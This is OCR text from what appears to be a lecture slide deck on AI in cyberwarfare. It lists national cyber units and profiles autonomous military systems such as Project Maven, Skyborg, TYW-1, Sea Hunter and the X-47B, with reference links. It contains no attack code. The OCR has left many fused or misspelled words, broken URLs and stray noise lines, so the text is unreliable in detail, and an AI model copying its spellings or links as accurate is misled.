listed other websites banned in China and which propos influence its citizens
a2F0o6I NB G2 OANDAzY@Syid [/ K
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Currentsituation

» Statesthat discusxyberwarfareandhavecybercapabilitiesandteams
 USA USCYBERCQOMnited StatesCyberCommand
* England MI6

Russia SandwormGroup- GRU

Indie - IndianComputerEmergencyresponse Team (CERY

Pakistan PakistanCyberArmy

China- MSS Ministry of StateSecurity

Israel- IsraeliDefenselndustry

Iran - IranianCyberArmy

North Korea- Bureaul2l
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Intelligence, Survelllance, and
Reconnaissance
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Project Maven

« Nation: United States
 Year of appearance: 2017
« Main points:

 using Al & ML in drone video for reahe
battlefield command and control

» References:

 https://thebulletin.org/2017/12/projectmaven
bringsai-to-the-fight-againstisis/

e https://www.govexec.com/media/gbc/docs/pdfs ed
it/establishment of the awcft project maven.pdf



https://thebulletin.org/2017/12/project-maven-brings-ai-to-the-fight-against-isis/
https://thebulletin.org/2017/12/project-maven-brings-ai-to-the-fight-against-isis/
https://www.govexec.com/media/gbc/docs/pdfs_edit/establishment_of_the_awcft_project_maven.pdf
https://www.govexec.com/media/gbc/docs/pdfs_edit/establishment_of_the_awcft_project_maven.pdf
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ProjectSkyborg

« Nation: United States
 Year of appearance: 2018
« Main points:
» Alenabled drone wingman

* unmanned system that will partner with fight
jets and utilize artificial intelligence to conduc
strike and intelligenceollection missions

» References:

e hitps://www.airforce-
technoloqy.com/features/skyborthe-us-air-
forcesfuture-ai-fleet/



https://www.airforce-technology.com/features/skyborg-the-us-air-forces-future-ai-fleet/
https://www.airforce-technology.com/features/skyborg-the-us-air-forces-future-ai-fleet/
https://www.airforce-technology.com/features/skyborg-the-us-air-forces-future-ai-fleet/
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Autonomous Vehicles
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TYW1

 Nation: China
 Year of appearance: 2017
* Main points:

 unmanned aircraft for reconnaissance and
combat

 can operate with a high degree of automation,
taking off and landing independently, requiring
minimal human intervention in tracking and
attacking targets

» References:

e https://www.militarydrones.org.cn/chingyw-1-
military-uav-price-manufacturerprocurement
portal-p00146p1.html



https://www.militarydrones.org.cn/china-tyw-1-military-uav-price-manufacturer-procurement-portal-p00146p1.html
https://www.militarydrones.org.cn/china-tyw-1-military-uav-price-manufacturer-procurement-portal-p00146p1.html
https://www.militarydrones.org.cn/china-tyw-1-military-uav-price-manufacturer-procurement-portal-p00146p1.html
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Sea hunter

 Nation: United States
 Year of appearance: 2016
* Main points:

« autonomousunmanned surface vehic(&SV),
which is operated by computer

» References:

e https://www.theverge.com/2016/4/8/11391840/us
navyautonomousship-seahunter-christened



https://www.theverge.com/2016/4/8/11391840/us-navy-autonomous-ship-sea-hunter-christened
https://www.theverge.com/2016/4/8/11391840/us-navy-autonomous-ship-sea-hunter-christened
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X-47B Unmanned Combat Air System

« Nation: United States
 Year of appearance: 2013
« Main points:
o first fully autonomous UAV systems

» capable to take off from an aircraft carrier,
attack the target, and return to the carrier.

» References:

e https://www.northropgrumman.com/whatwe-
do/air/x-47b-ucas/



https://www.northropgrumman.com/what-we-do/air/x-47b-ucas/
https://www.northropgrumman.com/what-we-do/air/x-47b-ucas/
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Summary and conclusion

» Al is changing the world of cybersecurity:
« Al empowers attackers and defenders.

 Increasingly sophisticated attacks require advanced defensive strategi

» Regulating Al in cybersecurity will be key.

» Questions for discussion:
* Is Al in cybersecurity more of a threat or a help?
* What technologies can ensure security in the future?

BATTACKS

A dal's
zorial Al

«V« THRCA\T ...wlquﬂh.thulll'

Al ATTACKS

Adversarial Al
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Thank you for you
attention

ivan.zelinka@vsb.cz
https://www.ivanzelinka.eu/
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